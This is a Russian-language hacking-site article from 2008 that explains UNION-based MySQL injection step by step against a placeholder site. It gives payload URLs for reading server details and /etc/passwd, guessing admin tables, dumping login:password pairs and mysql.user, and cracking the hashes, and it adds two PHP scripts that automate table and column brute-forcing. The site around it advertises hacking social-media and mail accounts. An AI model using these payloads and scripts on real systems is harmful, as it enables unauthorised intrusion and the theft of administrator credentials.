Мы доступны Вам через:
WebXakep.netIcq-Email-Vkontakte.ru
 
Реклама у насОбщение с намиОб webxakep.net

Панель управления

 

Для редакторов !!!

Логин
Пароль
 
 
 

Новое

  Темы на форуме:
  • дедики (Dedicated server)
  • Server DoS (эксплоит)
  • Продаю аккаунты Fulltilt 50$
  • ArxAgentStatus - Массовая проверка статуса Майл.ру агента
  • Фейк Mail.Ru Агент 5.7

  • Статьи:
  • Обзор браузеров.
  • Обзор антивирусов
  • Применяем сплойты.
  • Оптимизация Windows.
  • Обзор программ для безопасности в сети

  • Программы:
  • GetLink
  • hXGeN v 2.0.2.2
  • hXGeN
  • 0xRILPSIC
  • rsaUnDumper[sql] – универсальный дампер SQL INJECTION

  •  
     

    On-line

      На сайте:
    Пользователей: 0
    Отсутствуют.

    Роботов: 3
    GooglebotYahoo
    MSN

    Гостей: 2
    Всех: 5

    На форуме:
    Пользователей: 28
    Гостей: 107
    Всего: 135
     
     

    Друзья

      » Узнать свой IP
    » Взлом почты
    » Блог ArxWolf`a
    » Взлом vkontakte, пароль одноклассников
    » Взломать одноклассников
    » Анонимный, анонимные ссылки

    Добавить ссылку

     
     

    Наша библиотека

      » Кто такой хакер?
    » Кто такой тролль?
    » Что такое SQL инъекция?
     
     

    Меню

     


    Black-list   White-list

     

    Наша кнопка

      Поставьте у себя нашу кнопочку:

    Взлом вконтакте, взлом icq


     
     

    Поиск по сайту

     
     
    Расширенный поиск
     
     

    Полезно для Вас

     
    службы мониторинга серверов

    • Скачать Delphi7
     
     
    Наши проекты
     

    ДОСТУПЕН НОВЫЙ САЙТ

     
     
    Добро пожаловать!
       

    Мы рады вас видеть :)
    Наш проект является сообществом людей, которые увлекаются взломом, поиском уязвимостей, кодингом и т.д.
    У нас вы можете получить море полезной информации, к примеру по вопросам :
    взлом вконтакте, взлом контакта, взлом паролей, взлом icq, взлом почты, взлом аськи, а так же ещё и как взломать,взлом одноклассников, взлом контакта, garmin взлом, взлом аськи и т.д, это самые частые вопросы.
    Будте с нами :)
    P.S Спамерам и флудерасам в сторону ========> зимнего леса.

     
     




    Статьи » Internet : Что такое SQL инъекция?
       

    Что такое SQL инъекция?


    Приветствую Вас :)
    В этой статье мы рассмотри проведение SQL инъекций в MySQL сервера.

    SQL - "Structured Query Language" - "Язык структурированных запросов".

    Это один из самых распространёных способов взлома сайта.
    Основан он на внедрении вредоносного(произвольного) кода в Базу Данных.
    Выполняется SQL запрос(ы).

    Таким способом можно узнать данные(логины, пароли) пользователей и администраторов. Можно просматривать файлы на сервере (не везде) и т.д.

    1. Поиск инъекции.

    Для всех примеров, будет использоватся условный сайт http://sql-inj.lol (его не существует).
    Поиск проходит по принципу замены параметров, если нет фильтра то инъекция пройдёт.

    Наш сайт http://sql-inj.lol/news.php?id=212
    Изменяем параметр для выявления инъекции.
    http://sql-inj.lol/news.php?id=-1
    http://sql-inj.lol/news.php?id=666666666666666666
    http://sql-inj.lol/news.php?id=212'
    http://sql-inj.lol/news.php?id=212-1
    http://sql-inj.lol/news.php?id=0=null


    Если вы увидите ошибку сервера, например как эту "error in your SQL syntax;" или на подобии, то уязвимость существует. Но, бывают слепые инъекции, которые не отображают ошибку, но она есть.

    2. Подбор полей.

    Подбор полей третий по важности этап, для более быстрого подбора я использую order by, сейчас всё рассмотрим.

    Найденная уязвимость http://sql-inj.lol/news.php?id=212'

    http://sql-inj.lol/news.php?id=212+order+by+10--
    или
    http://sql-inj.lol/news.php?id=212+order+by+10/*

    Если столбцов меньше 10 то будет ошибка, таким образом быстрее всего подбирать столбцы, если их по 25))
    Если есть фильтр, то можно так:
    http://sql-inj.lol/news.php?id=212 order by 10/*
    Допустим у нас 5 столбцов, и при верхнем запросы выдаёт ошибку, то продолжаем подбор.
    http://sql-inj.lol/news.php?id=212+order+by+8--
    Опять ошибка…
    http://sql-inj.lol/news.php?id=212+order+by+6--
    Теперь нет ошибки, так как столбцов 5, то есть меньше 6.

    Нам известно сколько столбцов, теперь используем union select, для поучения данных.
    В конце мы ставим -- или /*, для того чтобы закомментировать последующий код, который нам не нужен.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5--
    1,2,3,4,5 это идёт пересчёт наших столбцов и заполнение их новыми данными.

    По идеи если это не слепая инъекция то мы должны увидеть наши цифры на странице, если на странице много цифр типа 1,2,3... То можно ужесточить .

    http://sql-inj.lol/news.php?id=212+union+select+1111,2222,3333,4444,5555--
    Так мы быстрее увидим их, или так:
    http://sql-inj.lol/news.php?id=212+union+select+null,null,null,null,null--

    Так, нам известна SQL уязвимость http://sql-inj.lol/news.php?id=212', нам известно что там 5 столбцов.

    3. Получение данных.

    Например при таком запросе http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5--, вы видите на странице наши цифру 3, теперь можно вместо них увидеть полезные данные.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,version(),4,5--
    version() - выводит версию MySQL сервера.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,database(),4,5--
    database() - выводит название текущей БД.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,USER(),4,5--
    user() - выводит имя текущего пользователя MySQL.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,SESSION_USER(),4,5--
    SESSION_USER() синоним user().

    http://sql-inj.lol/news.php?id=212+union+select+1,2,SYSTEM_USER(),4,5--
    SYSTEM_USER() синоним user().

    http://sql-inj.lol/news.php?id=212+union+select+1,2,LAST_INSERT_ID(),4,5--
    LAST_INSERT_ID() Значение AUTOINCREMENT колонки для последнего INSERT.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,@@tmpdir,4,5--
    @@tmpdir - выводит временную директорию.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,@@basedir,4,5--
    @@basedir - выводит базовую директорию.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,@@datadir,4,5--
    @@datadir - выводит рабочую директорию MySQL.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,@@version_compile_os,4,5--
    @@version_compile_os - выводит ОС (не всегда).

    http://sql-inj.lol/news.php?id=212+union+select+1,2,@@version_compile_os,4,5--
    @@hostname - выводит имя хоста.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,LOAD_FILE('/etc/passwd'),4,5--
    LOAD_FILE('/etc/passwd') Выводит указанный файл, только если права file_priv.

    Так же лучше перевести в HEX значение(http://z-zz.ru/):
    http://sql-inj.lol/news.php?id=212+union+select+1,2,LOAD_FILE(0x2F6574632F706173737764),4,5--

    Так же рекомендую вам использовать функции из SQL concat(), или concat_ws(), они нужны для объединения строк.

    Пример concat(version(),0x3a,database(),0x3a,user())
    Выводит нечто похожее на 5.2.6:admin_cms:lolka
    0x3a это двоеточие ":".

    Пример concat_ws(0x3a.version(),database(),user())
    Выводит нечто похожее на 5.2.6:admin_cms:lolka
    0x3a это двоеточие ":".

    НО! concat_ws работает не везде, лучше используйте concat.

    Давайте эту функции используем в нашем запросе.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5--
    И мы видим теперь вместо одной версии, написано так же название БД и имя пользователя.

    4. Подбор таблицы.

    Это второй этап по важности.
    Можно использовать словари, можно программы для авто перебора, но лучше ручками :)
    Наш последний запрос http://sql-inj.lol/news.php?id=212+union+select+1,2,USER(),4,5--.

    Будем использовать from table1.

    Нам не известна таблица, известна в случаях если это популярная cms которую можно скачать и посмотреть по умолчанию.

    Пишем запрос:
    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+table1--
    Видим ошибку....
    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+user--
    Опять видим ошибку... но не отчаиваемся, продолжаем подбирать....
    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+users--
    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+User--
    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+Users--

    Так как у нас файл news.php, то конечно вероятней всего название таблицы news.
    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+news--
    Отлично!! Нам известна таблица news, но в ней нет важных данных для нас, поэтому мы остановимся на другом.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+admins--
    http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+admin--

    Всё мы нашли важную таблицу admin, теперь нам остаётся узнать названия столбцов.

    Чисто логически, часто используются следующие названия: id,name,user,users,login,pass,passw,passwd,password и т.д.

    Подбираем так:
    http://sql-inj.lol/news.php?id=212+union+select+1,2,user,4,5+from+admin--
    Отлично, как не странно угадали сразу, видим имя администратора, продолжаем.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,password,4,5+from+admin--
    Великолепно, теперь нам известен и пароль, давайте лучше с использованием функции concat.

    http://sql-inj.lol/news.php?id=212+union+select+1,2,concat(user,0x3a,password),4,5+from+admin--
    И мы видим в удобной форме типа, garik:matrix.
    Всё можно сказать всё сделано, инъекция найдена и прошла успешно, остаётся найти админку, ищите папки типа "admin/,aminka/,administrator/,admin.php,administrator.php...."

    Но нет, мы продолжим дальше ;)

    5. Взлом хэша.

    Смотрим наш последний шаг,
    http://sql-inj.lol/news.php?id=212+union+select+1,2,concat(user,0x3a,password),4,5+from+admin--
    И мы видим в удобной форме типа, garik:matrix.

    Но может мы увидим нечто похожее на garik:63a9f0ea7bb98050796b649e85481845
    После двоеточия, это хэш.

    Хеш-функция(Hash) - функция, выполняющая одностороннее преобразование входных данных, называемое также хешированием. Хеш-функция подбирается так,
    чтобы вероятность появления различных данных с одинаковым хешем стремилась к нулю, а восстановить данные по их хешу было как можно труднее;

    Чаще всего вам придётся видеть такие популярные хэши как md5,mysql,mysql5.
    В данный момент расшифровать их нереально, по крайне мере нам с вами :)

    Используйте мою программу для поиска хеша по открытым сервисам:
    http://webxakep.net/forum/showthread.php?t=4753

    Вы можете найти массу софта для подбора хэша, например:
    http://webxakep.net/soft/soft-hack/644-insidepro-extreme-gpu-bruteforcer-egb.html
    http://webxakep.net/soft/soft-hack/363-passwordspro.html
    Но для подбора вам нужны будут очень большие словари, которые вы найдёте тут http://webxakep.net/forum/showthread.php?t=5,
    или используйте Rainbow таблицы.

    Можете так же на PHP написать свой брутфорс, но он значительно медленнее чем системный)), в PHP функция md5().

    То есть у вас есть хэш "63a9f0ea7bb98050796b649e85481845", пишите код типа:


    <?php
    $s="63a9f0ea7bb98050796b649e85481845";
    if ($s==md5("root"))
    echo "O_O yes";
    ?>


    Только надо добавить словарь, и можно многопоточность.

    По хешам почитать можно ещё тут http://webxakep.net/forum/forumdisplay.php?f=172

    Если вы так и не смогли подобрать хэш типа MySql, MySql5 и т.п, то вам сюда http://webxakep.net/forum/showthread.php?p=6065.

    6. Автоматизация поиска таблиц и колонок.

    В помощь Вам пара скриптов на PHP, которые будут перебирать колонки и таблицы.
    Скрипты писал для себя, так что, если не нравятся, напишите лучше lol

    sql_tabl.php


    <?php
    set_time_limit(0);

    $BASE=<<<HTML
    user
    users
    admin
    log
    HTML;

    $FORM=<<<HTML
    <h1>Скрипт от WebXakep.net</h1><br>
    Введите адрес где брутить (<b>0x7B5F676F6F647C7D</b> вывод обезателен!),<br>
    например: (http://site.ru/info.php?Id=11+union+select+0x7B5F676F6F647C7D+from+):<br><br>
    <form method="post">
    <input type="text" name="lol" size="120"><br>
    <input type="submit" value="Go"><br>
    </form>
    HTML;

    if (!isset($_POST['lol'])) die($FORM);

    $BASE=explode("n",$BASE);
    $BASE_L=count($BASE)-1;

    $target=$_POST['lol'];
    echo "Начинаем....<br><br>";
    ob_flush();
    flush();

    for ($i = 0; $i <= $BASE_L; $i++) {
    $xxx = $target.$BASE[$i];
    $text = file_get_contents($xxx);

    if (strpos($text, "{_good|}")) {
    echo $xxx."<br>";
    ob_flush();
    flush();
    }

    }


    echo "<br> Всё!</br>";

    ?>



    sql_col.php


    <?php
    set_time_limit(0);
    ignore_user_abort(1);

    $BASE=<<<HTML
    id
    login
    pass
    password
    HTML;


    $FORM=<<<HTML
    <h1>Скрипт от WebXakep.net</h1><br>
    Введите адрес где брутить (<b>concat(0x7B73317D,{target},0x7B73327D)</b> вывод обезателен!),<br>
    например: (http://site.ru/info.php?Id=187+union+select+concat(0x7B73317D,{target},0x7B73327D)+from+admin):<br><br>
    <form method="post">
    <input type="text" name="lol" size="120"><br>
    <input type="submit" value="Go"><br>
    </form>
    HTML;

    if (!isset($_POST['lol'])) die($FORM);

    $BASE=explode("n",$BASE);
    $BASE_L=count($BASE)-1;

    $target=$_POST['lol'];

    if (strpos($target, "concat(0x7B73317D,{target},0x7B73327D)") === false) die("Вы не ввели <b>concat(0x7B73317D,{target},0x7B73327D)</b> !");

    echo "Начинаем....<br><br>";
    ob_flush();
    flush();

    for ($i = 0; $i <= $BASE_L; $i++) {
    $xxx = str_replace("{target}",trim($BASE[$i]),$target);


    $text = file_get_contents($xxx);

    if (strpos($text, "{s1}") && strpos($text, "{s2}")) {
    echo $xxx."<br>";
    ob_flush();
    flush();
    }

    }


    echo "<br> Всё!</br>";

    ?>



    7. Дополнительно.
    - Ещё напишу хз.... свои мысли. Думаю Вам пригодится всё это...
    Удобнее всего при проведение SQL инъекции, всё временно записывать в текстовый файл.

    Например, узнали начальные данные и записали их:
    http://sql-inj.lol/news.php?id=212+union+select+1,2,concat(version(),0x7c,database(),0x7c,user()),4,5--

    - Например Вы подобрали колонки и т.д, теперь ищите вывод.
    Для этого лучше и ставить переменную в минус, например, выше у нас news.php?id=212,
    тогда отобразится вся страница и надо будет искать вывод (иногда его нету), удобнее ставить в минус news.php?id=-212 и тогда вывод увидим сразу (иногда это необходимо, иногда не помогает)

    - Если в version() у нас 5 версия, можно и надо использовать наш информер INFORMATION_SCHEMA.
    С ним нам будет на много легче (если он доступен) узнать таблицы и столбцы.
    Примеры:
    INFORMATION_SCHEMA.TABLES

    http://sql-inj.lol/news.php?id=-212+union+select+1,2,table_name,4,5+from+INFORMATION_SCHEMA.TABLES+limit+17,1--

    Выведет название таблицы, limit 17 указывает на номер. Начинайте сразу с 17, так как до этого там стандартные таблицы INFORMATION_SCHEMA.

    И так перебираем, пока не кончатся таблицы.
    http://sql-inj.lol/news.php?id=-212+union+select+1,2,table_name,4,5+from+INFORMATION_SCHEMA.TABLES+limit+18,1--
    http://sql-inj.lol/news.php?id=-212+union+select+1,2,table_name,4,5+from+INFORMATION_SCHEMA.TABLES+limit+19,1--
    и так далее....

    INFORMATION_SCHEMA.COLUMNS
    Почти тоже самое что и таблицы, только тут мы выводим название колонк.

    http://sql-inj.lol/news.php?id=-212+union+select+1,2,COLUMN_NAME,4,5+from+INFORMATION_SCHEMA.COLUMNS+table_name=0x61646D696E+limit+0,1--

    0x61646D696E - название нужной таблицы в Hex
    limit+0,1 - Выводим колонку под 0 номером и т.д

    http://sql-inj.lol/news.php?id=-212+union+select+1,2,COLUMN_NAME,4,5+from+INFORMATION_SCHEMA.COLUMNS+table_name=0x61646D696E+limit+1,1--
    http://sql-inj.lol/news.php?id=-212+union+select+1,2,COLUMN_NAME,4,5+from+INFORMATION_SCHEMA.COLUMNS+table_name=0x61646D696E+limit+2,1--
    и так пока не кончится.

    8. Завершение.

    Так же будет полезно посмотреть на таблицу mysql.user и её столбцы User + Password + нужны права.
    http://sql-inj.lol/news.php?id=212+union+select+1,concat(User,0x3a,Password),3,4,5,6,7,8,9,10,11,12+from+mysql.user--
    или
    http://sql-inj.lol/news.php?id=212 union select 1,concat(User,0x3a,Password),3,4,5,6,7,8,9,10,11,12 from+mysql.user/*

    Если на сервере есть phpmyadmin, что чаще всего, то поищите в местах типа "/phpmyadmin/,/myadmin/,phpmyadmin.test_wx.ru,myadmin.test_wx.ru....."

    Потренироваться на sql инъекциях вы можете тут http://webxakep.net/forum/showthread.php?t=368 и там же добавлять найденные вами :)

    Автор статьи: ArxWolf
    Сайт: http://webxakep.net

     (голосов: 29)
     
    Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.
    Напечатать - Автор ArxWolf - Просмотров 13914 - Дата 24 августа 2008 - №1316
     
     
    Информация
       
    Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости.
     
     
       
     

     

    Copyright (c) 2009 WebXakep.net Копирование материала запрещено!
    взлом,взлом паролей,взлом вконтакте,взлом скачать,взлом игр,взлом icq,взлом ru,бесплатно взлом  Рейтинг@Mail.ru

     

    Взлом вконтакте